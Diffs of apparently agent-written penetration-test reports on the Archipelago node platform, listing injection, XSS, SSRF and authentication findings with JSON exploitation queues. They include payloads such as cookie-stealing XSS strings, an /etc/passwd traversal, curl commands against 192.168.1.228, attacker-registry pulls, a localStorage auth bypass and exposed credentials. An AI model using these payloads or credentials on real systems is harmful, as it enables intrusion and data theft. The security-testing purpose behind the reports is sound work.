| **Docker image injection** | Secure | `is_valid_docker_image()` rejects shell metacharacters + registry whitelist |
| **Container manifest path** | Secure | `..` check + `canonicalize()` + boundary check to `apps_dir` |
| **Backup ID traversal** | Secure | Validates against `/`, `\`, `..`, `\0`, max 128 chars |
| **Content serving URL** | Secure | `content_id` validated via `is_valid_app_id()` before catalog lookup |
| **Nginx path routing** | Secure | All proxy routes are fixed localhost ports, no dynamic path construction |
---
## Exploitation Queue
```json
{
"category": "injection",
"findings": [
{
"id": "INJ-001",
"type": "path_traversal",
"endpoint": "/rpc/v1",
"parameter": "filename (in content.add method)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"content.add\",\"params\":{\"filename\":\"../../../etc/passwd\",\"mime_type\":\"text/plain\"}}"
},
{
"id": "INJ-002",
"type": "path_traversal",
"endpoint": "/rpc/v1",
"parameter": "mount_point (in backup.to-usb method)",
"confidence": "medium",
"payload_suggestion": "{\"method\":\"backup.to-usb\",\"params\":{\"id\":\"test\",\"mount_point\":\"/tmp\"}}"
},
{
"id": "INJ-003",
"type": "data_injection_unauth",
"endpoint": "/rpc/v1",
"parameter": "did, onion, pubkey (in federation.peer-joined)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"federation.peer-joined\",\"params\":{\"did\":\"did:key:z6MkATTACKER\",\"onion\":\"evil.onion\",\"pubkey\":\"deadbeef\"}}"
},
{
"id": "INJ-004",
"type": "data_injection_unauth",
"endpoint": "/rpc/v1",
"parameter": "did, new_onion (in federation.peer-address-changed)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"federation.peer-address-changed\",\"params\":{\"did\":\"did:key:KNOWN_PEER_DID\",\"new_onion\":\"attacker.onion\"}}"
},
{
"id": "INJ-005",
"type": "command_injection",
"endpoint": "podman --health-cmd (via package.install)",
"parameter": "bitcoin RPC password from secrets file",
"confidence": "low",
"payload_suggestion": "Write shell metacharacters to /var/lib/archipelago/secrets/bitcoin-rpc-password then restart bitcoin container"
},
{
"id": "INJ-006",
"type": "command_injection",
"endpoint": "podman exec (via health_monitor)",
"parameter": "HealthCheck.endpoint from manifest",
"confidence": "low",
"payload_suggestion": "Modify app manifest health check endpoint to contain shell commands"
},
{
"id": "INJ-007",
"type": "command_injection",
"endpoint": "parmanode script runner",
"parameter": "script file content + /tmp TOCTOU",
"confidence": "low",
"payload_suggestion": "Race condition: replace /tmp/parmanode-*.sh between write and podman mount"
}
]
}
```

View File

@@ -2,211 +2,35 @@
"findings": [
{
"id": "XSS-001",
"type": "stored_xss",
"endpoint": "/archipelago/node-message",
"parameter": "message, from_pubkey",
"type": "dom_based_xss_iframe_src_injection",
"endpoint": "/app/:appId",
"parameter": "path (query)",
"confidence": "medium",
"payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"\\\" onfocus=alert(1) autofocus=\\\"\",\"message\":\"<img src=x onerror=alert(document.cookie)>\"}'"
"payload_suggestion": "/app/indeedhub?path=%23<img+onerror=alert(1)+src=x>"
},
{
"id": "XSS-002",
"type": "dom_xss_postmessage",
"endpoint": "AppLauncherOverlay.vue (client-side)",
"parameter": "postMessage event.data.type",
"type": "dom_based_xss_javascript_uri_redirect",
"endpoint": "/login",
"parameter": "redirect (query)",
"confidence": "medium",
"payload_suggestion": "window.parent.postMessage({ type: 'app-launcher-escape' }, '*')"
"payload_suggestion": "/login?redirect=javascript:alert(document.cookie)"
},
{
"id": "XSS-003",
"type": "dom_xss_postmessage",
"endpoint": "Settings.vue (client-side)",
"parameter": "postMessage event.data.type",
"confidence": "medium",
"payload_suggestion": "window.postMessage({ type: 'claude-auth-success' }, '*')"
"type": "dom_based_cross_origin_message_injection",
"endpoint": "postMessage handler (NIP-07)",
"parameter": "event.data (nostr-request)",
"confidence": "high",
"payload_suggestion": "window.parent.postMessage({type:'nostr-request',id:'1',method:'getPublicKey'},'*')"
},
{
"id": "XSS-004",
"type": "missing_csp_headers",
"endpoint": "All responses (nginx)",
"parameter": "Content-Security-Policy, X-Frame-Options",
"type": "weak_csp_unsafe_inline",
"endpoint": "all pages (nginx)",
"parameter": "n/a",
"confidence": "high",
"payload_suggestion": "No CSP set \u2014 any successful XSS injection has zero mitigation. Verify with: curl -sI http://192.168.1.228/ | grep -i security"
},
{
"id": "XSS-005",
"type": "reflected_xss_json",
"endpoint": "/rpc/v1 (method: echo)",
"parameter": "params.message",
"confidence": "low",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"echo\",\"params\":{\"message\":\"<script>alert(1)</script>\"}}'"
},
{
"id": "XSS-006",
"type": "dom_xss_postmessage",
"endpoint": "/test-aiui.html",
"parameter": "postMessage event.data",
"confidence": "low",
"payload_suggestion": "window.postMessage({ type: 'context:response', id: 'test-1', data: '<img src=x onerror=alert(1)>' }, '*')"
},
{
"id": "XSS-007",
"type": "cors_wildcard_xss_enabler",
"endpoint": "All backend endpoints",
"parameter": "Access-Control-Allow-Origin: *",
"confidence": "high",
"payload_suggestion": "From any website: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({from_pubkey:'attacker', message:'<script>alert(1)</script>'})})"
},
{
"id": "AUTH-001",
"type": "missing_session_management",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}' \u2014 observe null response with no Set-Cookie header"
},
{
"id": "AUTH-002",
"type": "missing_authorization",
"endpoint": "/rpc/v1",
"parameter": "method=package.install|node.signChallenge|container-install|node.createBackup|...",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"node.did\",\"params\":{}}' \u2014 returns node identity without auth"
},
{
"id": "AUTH-003",
"type": "brute_force_no_protection",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login, password",
"confidence": "high",
"payload_suggestion": "Automated password spray against auth.login with no lockout or rate limit \u2014 bcrypt provides ~100ms delay per attempt"
},
{
"id": "AUTH-004",
"type": "default_credentials",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login, password=password123",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}'"
},
{
"id": "AUTH-005",
"type": "client_side_auth_bypass",
"endpoint": "/dashboard",
"parameter": "localStorage['neode-auth']",
"confidence": "high",
"payload_suggestion": "In browser console: localStorage.setItem('neode-auth','true'); location.href='/dashboard' \u2014 full UI access without login"
},
{
"id": "AUTH-006",
"type": "session_invalidation_failure",
"endpoint": "/rpc/v1",
"parameter": "method=auth.logout",
"confidence": "high",
"payload_suggestion": "Logout is a no-op returning null \u2014 no server-side session to invalidate"
},
{
"id": "AUTH-007",
"type": "unauthenticated_websocket",
"endpoint": "/ws/db",
"parameter": "N/A",
"confidence": "high",
"payload_suggestion": "wscat -c ws://192.168.1.228/ws/db \u2014 receives full server state dump including node identity, Tor address, and all package states"
},
{
"id": "AUTH-008",
"type": "message_spoofing",
"endpoint": "/archipelago/node-message",
"parameter": "from_pubkey, message",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"spoofed\",\"message\":\"injected\"}'"
},
{
"id": "AUTH-009",
"type": "cors_wildcard",
"endpoint": "/archipelago/node-message, /api/container/logs, /electrs-status, /proxy/lnd/*",
"parameter": "Access-Control-Allow-Origin: *",
"confidence": "high",
"payload_suggestion": "Drive-by attack from malicious webpage: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', ...}) \u2014 succeeds cross-origin"
},
{
"id": "AUTH-010",
"type": "weak_password_policy",
"endpoint": "/rpc/v1",
"parameter": "method=auth.setup (frontend only), password",
"confidence": "medium",
"payload_suggestion": "Initial setup accepts 8-char passwords without complexity; change requires 12+ with complexity"
},
{
"id": "AUTH-011",
"type": "unauthenticated_ssrf_proxy",
"endpoint": "/proxy/lnd/*",
"parameter": "path suffix",
"confidence": "high",
"payload_suggestion": "curl http://192.168.1.228/proxy/lnd/v1/getinfo \u2014 accesses LND REST API without authentication"
},
{
"id": "AUTH-012",
"type": "unauthenticated_data_access",
"endpoint": "/api/container/logs",
"parameter": "app_id, lines",
"confidence": "high",
"payload_suggestion": "curl 'http://192.168.1.228/api/container/logs?app_id=lnd&lines=500' \u2014 reads container logs without auth"
},
{
"id": "AUTH-013",
"type": "disconnected_auth_infrastructure",
"endpoint": "N/A (architectural)",
"parameter": "core/startos/src/middleware/auth.rs not wired to core/archipelago/",
"confidence": "high",
"payload_suggestion": "Informational: auth middleware exists in startos crate but is not imported by the archipelago binary"
},
{
"id": "SSRF-001",
"type": "blind_ssrf_via_tor_proxy",
"endpoint": "/rpc/v1",
"parameter": "params.onion (method: node-check-peer)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"node-check-peer\",\"params\":{\"onion\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}"
},
{
"id": "SSRF-002",
"type": "ssrf_via_tor_proxy_with_data_exfil",
"endpoint": "/rpc/v1",
"parameter": "params.onion (method: node-send-message)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"node-send-message\",\"params\":{\"onion\":\"VALID_56_BASE32_ONION_ADDRESS\",\"message\":\"ssrf-probe\"}}"
},
{
"id": "SSRF-003",
"type": "internal_service_proxy",
"endpoint": "/proxy/lnd/{path}",
"parameter": "URL path suffix",
"confidence": "medium",
"payload_suggestion": "GET /proxy/lnd/v1/getinfo on port 5678"
},
{
"id": "SSRF-004",
"type": "ssrf_via_container_registry_pull",
"endpoint": "/rpc/v1",
"parameter": "params.dockerImage (method: package.install)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"package.install\",\"params\":{\"id\":\"probe\",\"dockerImage\":\"attacker-registry.example.com/ssrf-canary:latest\"}}"
},
{
"id": "SSRF-005",
"type": "full_arbitrary_url_fetch",
"endpoint": "marketplace.get (INACTIVE - startos codebase)",
"parameter": "url",
"confidence": "low",
"payload_suggestion": "NOT EXPLOITABLE - code not compiled into active binary"
},
{
"id": "SSRF-006",
"type": "config_driven_websocket_ssrf",
"endpoint": "/rpc/v1 (methods: node-nostr-discover, node.nostr-publish)",
"parameter": "ARCHIPELAGO_NOSTR_RELAYS env var",
"confidence": "low",
"payload_suggestion": "Requires config modification: ARCHIPELAGO_NOSTR_RELAYS=wss://attacker.com/"
"payload_suggestion": "n/a - amplification factor, not direct XSS"
}
]
}

View File

@@ -1,218 +1,18 @@
The backend appears to be down currently. The analysis is based on thorough source code review. Let me compile the full findings.
## SSRF Analysis Complete
---
Found **5 SSRF vulnerabilities** across the Archipelago backend:
# SSRF Vulnerability Analysis — Archipelago
### Critical (2)
- **SSRF-001**: `backup.upload-s3` — user-supplied `endpoint` URL passed directly to `reqwest` PUT with zero validation. Can reach any internal service (Bitcoin RPC, LND, Grafana). Response status + partial body leaked in errors.
- **SSRF-002**: `backup.download-s3` — same pattern but GET, with **full response body saved to disk** and retrievable via backup APIs. Most dangerous finding — enables complete exfiltration of any internal HTTP endpoint.
## Summary
### High (1)
- **SSRF-003**: `identity.resolve-name` (NIP-05) — user-controlled `domain` in `user@domain` identifier causes HTTPS GET to arbitrary domain. HTTPS-only limits impact but enables DNS rebinding, IP disclosure, and partial response exfiltration.
I analyzed the entire codebase for SSRF vulnerabilities across the Rust backend (`core/archipelago/`), nginx configuration, Vite dev proxy, and the `core/startos/` (inactive) codebase. The active backend has **3 confirmed SSRF vectors** and **1 dormant but critical one** in unreachable code.
### Medium (1)
- **SSRF-004**: `content.download-peer` / `content.browse-peer` — weak `.onion` validation (suffix check only vs. strict 56-char base32 in `node_message.rs`). Mitigated by Tor SOCKS proxy which rejects invalid addresses, but defense-in-depth failure.
---
### Low (1)
- **SSRF-005**: `webhook.configure` — private IP validation exists but bypassed in dev mode, missing `0.0.0.0`, no DNS rebinding protection, no redirect protection.
## SSRF-001: Blind SSRF via `node-check-peer` (Missing Onion Validation)
**Type**: Direct SSRF via Tor SOCKS5 proxy
**Location**: `POST /rpc/v1` → method `node-check-peer`
**Parameter**: `onion`
**Source file**: `core/archipelago/src/node_message.rs:115-133`
**RPC handler**: `core/archipelago/src/api/rpc/peers.rs:69-80`
**Evidence**: `check_peer_reachable()` accepts the `onion` parameter and constructs an HTTP URL **without calling `validate_onion()`**, unlike `send_to_peer()` which does validate. The function:
1. Takes any string as `onion` (line 115)
2. Appends `.onion` if needed (lines 116-120)
3. Constructs `http://{host}/health` (line 121)
4. Sends via `socks5h://127.0.0.1:9050` Tor proxy (lines 122-127)
5. Returns boolean success/failure to the caller (line 130)
Since there's no validation, an attacker can inject port numbers and URL components. For example, `onion: "validbase32chars.onion:9999"` results in a request to port 9999. The `socks5h://` protocol delegates DNS to Tor, and the response status is leaked via the boolean.
Additionally, this endpoint has **zero authentication** and **CORS wildcard** (`Access-Control-Allow-Origin: *`), enabling drive-by SSRF from any website.
**Confidence**: HIGH
**Suggested exploit**:
```bash
curl -X POST http://TARGET/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node-check-peer","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}'
```
Response `{"result":{"reachable":true/false}}` confirms the server made an outbound request via Tor to the specified .onion address.
---
## SSRF-002: SSRF via `node-send-message` (Validated but Still Exploitable)
**Type**: Direct SSRF via Tor SOCKS5 proxy
**Location**: `POST /rpc/v1` → method `node-send-message`
**Parameter**: `onion`
**Source file**: `core/archipelago/src/node_message.rs:66-112`
**RPC handler**: `core/archipelago/src/api/rpc/peers.rs:50-67`
**Evidence**: `send_to_peer()` calls `validate_onion()` (line 67), which checks: 56 chars of base32 (`a-z2-7`). This limits the SSRF to valid Tor v3 onion format, but:
1. Any valid-format onion address gets an HTTP POST with a JSON body (lines 74-79)
2. The request includes the node's own public key in the body (`from_pubkey`)
3. The response error messages are returned to the caller, leaking connection details
4. No rate limiting — can probe many .onion addresses rapidly
The validation prevents port injection but NOT arbitrary .onion targeting. An attacker can force the server to POST to any Tor hidden service.
**Confidence**: HIGH
**Suggested exploit**:
```bash
curl -X POST http://TARGET/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node-send-message","params":{"onion":"ATTACKER_ONION_56_CHARS","message":"probe"}}'
```
---
## SSRF-003: LND REST Proxy — Unauthenticated Internal Service Access
**Type**: Internal service proxy / partial SSRF
**Location**: `GET /proxy/lnd/{path}` on port 5678
**Parameter**: URL path after `/proxy/lnd`
**Source file**: `core/archipelago/src/api/handler.rs:158-188`
**Evidence**: The handler strips `/proxy/lnd` from the path and constructs `http://127.0.0.1:8080{suffix}`, then performs `reqwest::get(&url)` and returns the full response including body and Content-Type. The host is hardcoded to `127.0.0.1:8080`, so this is limited to accessing localhost port 8080.
Key concerns:
- **No authentication** on the proxy endpoint
- **Full path control** — any LND REST API endpoint is accessible
- **Response body returned** — not blind, the attacker gets full response content
- Port 8080 is shared: LND REST API AND the endurain app run on this port (per nginx config)
- Backend binds to `0.0.0.0:5678` by default (`config.rs:193`), though the proxy through nginx serves SPA HTML instead (nginx falls through to `try_files`)
**Confidence**: MEDIUM (host is hardcoded; exploitability depends on whether port 5678 is directly reachable or if nginx can be configured to proxy this path)
**Suggested exploit**:
```bash
# Direct to backend (if port 5678 is reachable)
curl http://TARGET:5678/proxy/lnd/v1/getinfo
curl http://TARGET:5678/proxy/lnd/v1/balance/blockchain
```
---
## SSRF-004: Container Image Pull — Arbitrary Registry Fetch
**Type**: Indirect SSRF via container registry pull
**Location**: `POST /rpc/v1` → method `package.install`
**Parameter**: `dockerImage`
**Source file**: `core/archipelago/src/api/rpc/package.rs:9-84`
**Evidence**: The `handle_package_install` handler accepts a `dockerImage` parameter, validates it only against shell injection characters (`is_valid_docker_image()` at line 786), then runs `podman pull {image}` (line 60). The validation blacklist is:
```rust
let dangerous_chars = ['&', '|', ';', '`', '$', '(', ')', '<', '>', '\n', '\r'];
```
This allows arbitrary registry URLs like `attacker.com/malicious:latest` or `registry.evil.com:5000/image:tag`. The server makes HTTPS requests to the specified registry to pull manifest and image layers.
**Confidence**: HIGH
**Suggested exploit**:
```bash
curl -X POST http://TARGET/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"package.install","params":{"id":"test","dockerImage":"attacker-registry.com/probe:latest"}}'
```
The server will connect to `attacker-registry.com` to pull the image, confirming outbound SSRF.
---
## SSRF-005: Dormant Full SSRF in `marketplace.get` (Inactive Code)
**Type**: Full arbitrary URL fetch (NOT in active backend)
**Location**: `core/startos/src/registry/marketplace.rs:38-92`
**Parameter**: `url` (type `Url` — accepts any scheme/host)
**Evidence**: This is a **critical** SSRF — `marketplace.get` accepts a raw `Url` parameter and fetches it with the shared `reqwest::Client`, which has a Tor proxy for `.onion` addresses (`core/startos/src/context/rpc.rs:222-231`). No URL validation, no IP blocklist, supports `http://`, `https://`, potentially `file://`. Response content is returned in JSON/text/base64.
**However**, this module is in `core/startos/` which is **not compiled into the active `core/archipelago/` binary** (Cargo.toml has no startos dependency). The RPC route table in `core/archipelago/src/api/rpc/mod.rs` does not register `marketplace.get`.
**Confidence**: LOW (dormant code, not reachable on running server)
**Note**: If this code is ever wired into the active backend, it becomes the most critical SSRF in the system.
---
## SSRF-006: Nostr Relay Connections — Config-Driven SSRF
**Type**: WebSocket SSRF via configuration
**Location**: `POST /rpc/v1` → methods `node-nostr-discover`, `node.nostr-publish`
**Source file**: `core/archipelago/src/nostr_discovery.rs:157-345`
**Evidence**: Relay URLs from `config.nostr_relays` (populated from `ARCHIPELAGO_NOSTR_RELAYS` env var, default: `wss://relay.damus.io`, `wss://relay.nostr.info`) are passed to `client.add_relay(url)` without validation. When Tor proxy is configured (default: `127.0.0.1:9050`), all relay connections route through Tor.
Not directly user-controllable via RPC (relays come from config), but if an attacker can modify environment variables or the config file, they can redirect Nostr connections to arbitrary WebSocket endpoints.
**Confidence**: LOW (requires configuration access)
---
## Additional Observations
| Factor | Detail |
|--------|--------|
| **CORS wildcard** | All backend responses include `Access-Control-Allow-Origin: *` (handler.rs:15), enabling drive-by SSRF from any website |
| **No authentication** | RPC API has zero auth middleware — all SSRF endpoints callable by anyone on the network |
| **Nginx proxy exposure** | `/aiui/api/claude/` → Claude proxy (3141), `/aiui/api/openrouter/` → OpenRouter API, `/aiui/api/web-search` → SearXNG (8888). These are fixed-target proxies, not user-controllable SSRF, but enable unauthenticated access to internal services |
| **TLS verification disabled** | LND client uses `danger_accept_invalid_certs(true)` (lnd.rs:56) |
| **Hardcoded credentials** | Bitcoin RPC: `archipelago:archipelago123` (bitcoin.rs:89, electrs_status.rs:17) |
---
```json
{
"category": "ssrf",
"findings": [
{
"id": "SSRF-001",
"type": "blind_ssrf_via_tor_proxy",
"endpoint": "/rpc/v1",
"parameter": "params.onion (method: node-check-peer)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"node-check-peer\",\"params\":{\"onion\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}"
},
{
"id": "SSRF-002",
"type": "ssrf_via_tor_proxy_with_data_exfil",
"endpoint": "/rpc/v1",
"parameter": "params.onion (method: node-send-message)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"node-send-message\",\"params\":{\"onion\":\"VALID_56_BASE32_ONION_ADDRESS\",\"message\":\"ssrf-probe\"}}"
},
{
"id": "SSRF-003",
"type": "internal_service_proxy",
"endpoint": "/proxy/lnd/{path}",
"parameter": "URL path suffix",
"confidence": "medium",
"payload_suggestion": "GET /proxy/lnd/v1/getinfo on port 5678"
},
{
"id": "SSRF-004",
"type": "ssrf_via_container_registry_pull",
"endpoint": "/rpc/v1",
"parameter": "params.dockerImage (method: package.install)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"package.install\",\"params\":{\"id\":\"probe\",\"dockerImage\":\"attacker-registry.example.com/ssrf-canary:latest\"}}"
},
{
"id": "SSRF-005",
"type": "full_arbitrary_url_fetch",
"endpoint": "marketplace.get (INACTIVE - startos codebase)",
"parameter": "url",
"confidence": "low",
"payload_suggestion": "NOT EXPLOITABLE - code not compiled into active binary"
},
{
"id": "SSRF-006",
"type": "config_driven_websocket_ssrf",
"endpoint": "/rpc/v1 (methods: node-nostr-discover, node.nostr-publish)",
"parameter": "ARCHIPELAGO_NOSTR_RELAYS env var",
"confidence": "low",
"payload_suggestion": "Requires config modification: ARCHIPELAGO_NOSTR_RELAYS=wss://attacker.com/"
}
]
}
```
Report written to `loop/pentest/analysis/ssrf.md`.

View File

@@ -1,179 +1,28 @@
I now have all the data needed. Let me compile the comprehensive XSS analysis.
## XSS Analysis Complete
---
Written to `loop/pentest/analysis/xss.md`. Here's the summary:
# XSS Vulnerability Analysis — Archipelago (192.168.1.228)
### 4 Findings
## Methodology
| ID | Type | Location | Confidence |
|---|---|---|---|
| **XSS-001** | DOM-based iframe src injection | `AppSession.vue:399-418``?path=` query param concatenated to iframe src without validation | Medium |
| **XSS-002** | DOM-based javascript: URI redirect | `Login.vue:220,384-386``?redirect=` flows to `window.location.href` in catch handler | Medium |
| **XSS-003** | Cross-origin message injection | `appLauncher.ts:192-284` — NIP-07 postMessage handler has **zero origin validation**, responses sent with `'*'` | **High** |
| **XSS-004** | Weak CSP (amplification) | `nginx-archipelago.conf:20``script-src 'self' 'unsafe-inline'` disables CSP as XSS defense | High |
Source code review of the full stack: Rust backend (`core/`), Vue 3 frontend (`neode-ui/src/`), Nginx configs (`image-recipe/configs/`), and static HTML files. Searched for all XSS sinks (v-html, innerHTML, document.write, eval), DOM-based sources (location, postMessage), stored content rendering, and missing security headers.
### Most Critical: XSS-003
---
The NIP-07 handler is the highest-risk finding. Any iframe (including the external HTTPS apps like botfights.net, nostrudel.ninja, etc.) can silently extract the user's Nostr public key without origin validation. The `contextBroker.ts` handler does this correctly — the `appLauncher.ts` handler does not, and sends responses with wildcard `'*'` origin.
## XSS-001 — Stored XSS via Unauthenticated P2P Node Messages
**Type**: Stored XSS
**Confidence**: Medium
**Location**: `POST /archipelago/node-message` → rendered in Web5.vue and App.vue toast
### No Reflected or Stored XSS Found
**Source files**:
- Backend intake: `core/archipelago/src/api/handler.rs:125-145` — no auth, no sanitization
- Backend storage: `core/archipelago/src/node_message.rs:26-37` — raw string stored as-is
- Frontend display (messages): `neode-ui/src/views/Web5.vue:405``{{ m.message }}`
- Frontend display (toast): `neode-ui/src/App.vue:52``{{ toastMessage.text }}`
- Toast data source: `neode-ui/src/composables/useMessageToast.ts:39``latest?.message`
**Evidence**: The `/archipelago/node-message` endpoint accepts arbitrary JSON with `from_pubkey` and `message` fields — no authentication, no input validation, no HTML sanitization. Messages are stored in memory and returned verbatim via the `node-messages-received` RPC method. The frontend renders messages using Vue's `{{ }}` text interpolation, which **does** escape HTML by default. However:
1. The toast at `App.vue:52` renders the raw message text as a notification preview — if Vue's escaping were ever bypassed (e.g., a future refactor introduces `v-html`), this becomes immediately exploitable
2. The `:title` attribute binding at `Web5.vue:402` (`<p ... :title="m.from_pubkey">`) accepts the unsanitized pubkey — attribute injection is possible with crafted pubkey values
3. Combined with **CORS wildcard** (`Access-Control-Allow-Origin: *` on all endpoints), any website can inject messages via a drive-by attack
**Why medium, not high**: Vue's `{{ }}` escaping prevents current exploitation. But the complete absence of server-side sanitization means any rendering change (or alternative client) would be immediately vulnerable.
**Suggested exploit**:
```bash
curl -X POST http://192.168.1.228/archipelago/node-message \
-H 'Content-Type: application/json' \
-d '{"from_pubkey":"\" onfocus=alert(1) autofocus=\"","message":"<img src=x onerror=alert(document.cookie)>"}'
```
---
## XSS-002 — postMessage Origin Bypass in AppLauncherOverlay
**Type**: DOM-based XSS (postMessage sink)
**Confidence**: Medium
**Location**: `neode-ui/src/components/AppLauncherOverlay.vue:125,147-150`
**Source file**: `neode-ui/src/components/AppLauncherOverlay.vue`
**Evidence**:
- Line 125: `window.parent.postMessage({ type: 'app-launcher-escape' }, '*')` — sends to ANY origin
- Lines 147-150: Receives messages with **no origin validation**:
```typescript
function onMessage(e: MessageEvent) {
if (e.data?.type === 'app-launcher-escape' && store.isOpen) {
store.close()
}
}
```
- Any page embedding the Archipelago UI (or any malicious iframe loaded into the app launcher) can trigger the close action. The impact is UI manipulation only (closing the app launcher), but this pattern demonstrates missing origin checks that could be exploited if more actions are added.
**Suggested exploit**: From a malicious page iframed into the app launcher:
```javascript
window.parent.postMessage({ type: 'app-launcher-escape' }, '*')
```
---
## XSS-003 — postMessage Origin Bypass in Claude Auth Handler
**Type**: DOM-based XSS (postMessage sink)
**Confidence**: Medium
**Location**: `neode-ui/src/views/Settings.vue:442-448`
**Source file**: `neode-ui/src/views/Settings.vue`
**Evidence**:
```typescript
function handleClaudeLoginMessage(e: MessageEvent) {
if (e.data?.type === 'claude-auth-success') {
claudeConnected.value = true
showClaudeLoginModal.value = false
window.removeEventListener('message', handleClaudeLoginMessage)
}
}
```
No `e.origin` validation. Any iframe or window (including apps loaded in the app launcher) can send `{ type: 'claude-auth-success' }` to spoof the Claude connection state. This is UI spoofing — the user sees "Claude Connected" when it's not authenticated.
**Suggested exploit**:
```javascript
// From any page loaded in the same browsing context
window.postMessage({ type: 'claude-auth-success' }, '*')
```
---
## XSS-004 — Absent Content-Security-Policy + CSP/X-Frame-Options Stripping
**Type**: Missing security headers (XSS enabler)
**Confidence**: High
**Location**: `image-recipe/configs/nginx-archipelago.conf` (entire server block)
**Source file**: `image-recipe/configs/nginx-archipelago.conf:89-333`
**Evidence**:
1. **No CSP header** set on any response — no defense-in-depth against XSS
2. **No X-Frame-Options** — clickjacking possible on main UI
3. **No X-Content-Type-Options** — MIME sniffing attacks possible
4. 25+ app proxy locations explicitly strip CSP and X-Frame-Options:
```nginx
proxy_hide_header X-Frame-Options;
proxy_hide_header Content-Security-Policy;
```
This removes the security headers that apps like Vaultwarden, Portainer, and Grafana set to protect themselves, making them vulnerable to clickjacking when proxied.
Without CSP, if any XSS vector is found (including in proxied apps), there are zero mitigations — inline scripts, eval, and external script loading all work.
---
## XSS-005 — Echo Endpoint Reflects Arbitrary Input
**Type**: Reflected (JSON context)
**Confidence**: Low
**Location**: `POST /rpc/v1` method `echo` / `server.echo`
**Source file**: `core/archipelago/src/api/rpc/mod.rs:171-178`
**Evidence**:
```rust
async fn handle_echo(&self, params: Option<serde_json::Value>) -> Result<serde_json::Value> {
if let Some(p) = params {
if let Some(msg) = p.get("message").and_then(|v| v.as_str()) {
return Ok(serde_json::json!({ "message": msg }));
}
}
Ok(serde_json::json!({ "message": "Hello from Archipelago!" }))
}
```
The `message` parameter is reflected verbatim in the JSON response. The response has `Content-Type: application/json`, so browsers won't render it as HTML. However, combined with CORS wildcard, any website can read the reflected value. If this response is ever consumed unsafely by the frontend or a third-party client, XSS is possible.
**Suggested exploit**:
```bash
curl -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"echo","params":{"message":"<script>alert(1)</script>"}}'
```
---
## XSS-006 — test-aiui.html postMessage Without Origin Validation + innerHTML
**Type**: DOM-based XSS
**Confidence**: Low
**Location**: `neode-ui/public/test-aiui.html:46,50-69`
**Source file**: `neode-ui/public/test-aiui.html`
**Evidence**:
- Line 46: `results.innerHTML = ''` — uses innerHTML (safe with empty string, but establishes unsafe pattern)
- Line 50-69: Listens to all `postMessage` events with **no origin check**
- Line 107: `div.textContent = ...JSON.stringify(resp.data)...` — uses textContent (safe), but the callback at line 56 passes the full message object to arbitrary callbacks
- This is a test file deployed to production at `/test-aiui.html`
---
## XSS-007 — CORS Wildcard Enables Cross-Origin XSS Delivery
**Type**: XSS enabler (not XSS itself)
**Confidence**: High
**Location**: All backend endpoints
**Source file**: `core/archipelago/src/api/handler.rs:15` — `const CORS_ANY: &str = "*";`
**Evidence**: Every backend response includes `Access-Control-Allow-Origin: *`. This means any website can:
1. Inject stored messages via `POST /archipelago/node-message` (XSS-001)
2. Read reflected data from `echo` endpoint (XSS-005)
3. Invoke any RPC method and read responses
4. Deliver XSS payloads remotely without requiring the attacker to be on the local network
This transforms what would be LAN-only vulnerabilities into remotely exploitable ones via drive-by attacks.
---
The codebase is clean on traditional XSS:
- All `v-html` (2 instances) sanitized with DOMPurify
- Stored messages sanitized with HTML entity encoding before storage
- All dynamic content rendered via Vue `{{ }}` auto-escaping
- Backend returns only JSON (serde_json), never raw HTML
- Error messages sanitized by `sanitize_error_message()` before returning
```json
{
@@ -181,59 +30,35 @@ This transforms what would be LAN-only vulnerabilities into remotely exploitable
"findings": [
{
"id": "XSS-001",
"type": "stored_xss",
"endpoint": "/archipelago/node-message",
"parameter": "message, from_pubkey",
"type": "dom_based_xss_iframe_src_injection",
"endpoint": "/app/:appId",
"parameter": "path (query)",
"confidence": "medium",
"payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"\\\" onfocus=alert(1) autofocus=\\\"\",\"message\":\"<img src=x onerror=alert(document.cookie)>\"}'"
"payload_suggestion": "/app/indeedhub?path=%23<img+onerror=alert(1)+src=x>"
},
{
"id": "XSS-002",
"type": "dom_xss_postmessage",
"endpoint": "AppLauncherOverlay.vue (client-side)",
"parameter": "postMessage event.data.type",
